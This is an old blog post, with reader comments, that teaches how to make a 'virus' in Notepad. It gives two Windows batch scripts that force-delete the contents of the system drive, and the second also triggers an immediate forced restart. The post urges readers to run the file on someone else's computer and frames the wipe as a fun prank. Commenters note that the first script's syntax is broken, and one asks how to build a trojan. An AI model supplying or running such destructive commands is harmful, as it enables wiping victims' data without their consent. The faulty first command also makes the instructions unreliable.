Main Menu

Home
Contact Us

Computer Tech Toolbox

You are here:    Home arrow Software arrow How To Create a Virus Using Notepad
How To Create a Virus Using Notepad Print E-mail
Tuesday, 30 January 2007
This virus is for educational purposes only. It is a fun trick to try on a NON-IMPORTANT computer. It's job is to delete contents in the C: drive and it WILL WORK.

 

 

- Open up notepad and paste everything between the "=" lines below:

 

===================================
@Echo off
Del C:\ *.* |y 

===================================

- Now go to File > Save As..., and change the "Save as type:" to All Files.
- For the file name, save it as whatever filename you want but put a ".bat" extension at the end of it. A good example would be saving it as "virus.bat" for the File name.

- Now go put this file on a computer you want to *cough* test this on and run it. DO NOT RUN ON YOUR COMPUTER! The script will delete the contents of your hard drive C.

- Enjoy!  (Please be careful with what you do with this virus.)

 

 

NOTES: Another supposedly better version of the code is below. This might work for some people if the one above doesn't work. This command prompt script was not written by a pro, so don't go complaining that it isn't as "powerful" as it could be.

 
============================================

@echo off
del %systemdrive%\*.* /f /s /q

shutdown -r -f -t 00
============================================

 




Did you enjoy this article? Please bookmark it onto:
Reddit!Del.icio.us!Google!Live!Facebook!Slashdot!Netscape!Technorati!StumbleUpon!Spurl!Newsvine!Furl!Blogmarks!Yahoo!Smarking!Ma.gnolia!Add this social bookmarking functionality to your website! title=
Comments (5) >>
Interesting post
written by Xcelon, February 01, 2007

I recently swapped desktops and used a program called harddrive nuker to wipe everything off of my old pc. I'm not sure if you ever heard of this program but after reading this article it seems like this short batch file could have done the trick. It's pretty funny how a couple lines of code can really cause that much damage.

It's not code
written by tah2002, February 04, 2007

It's not code, it's commands for cmd.exe in windows.

pfft?
written by pffft, February 05, 2007

great virus skillz man.

it doesn't infect other files / computers so i wouldn't call it a virus.

Will not delete all files
written by Kev, February 05, 2007

This code will not delete any files that are currently being used, so basically you wipe off your data, but once you hit a system file that is being used, or even a temp file that a system process is using, the script stops. And looking at it more closely, that first command " Del C: *.* |y " will prompt you to delete a file, then try to pass the output of the process to a process called "y" which likely doesn't exist.
What 12 year old wrote this article?

niceeeeeeeeeeeeeeeeeeeeeee
written by rsdf234g, January 21, 2008

budy how can we make a trozon hourse virus on notepad.
and your trick of making virus is ultimate.
thanks!

Write comment

busy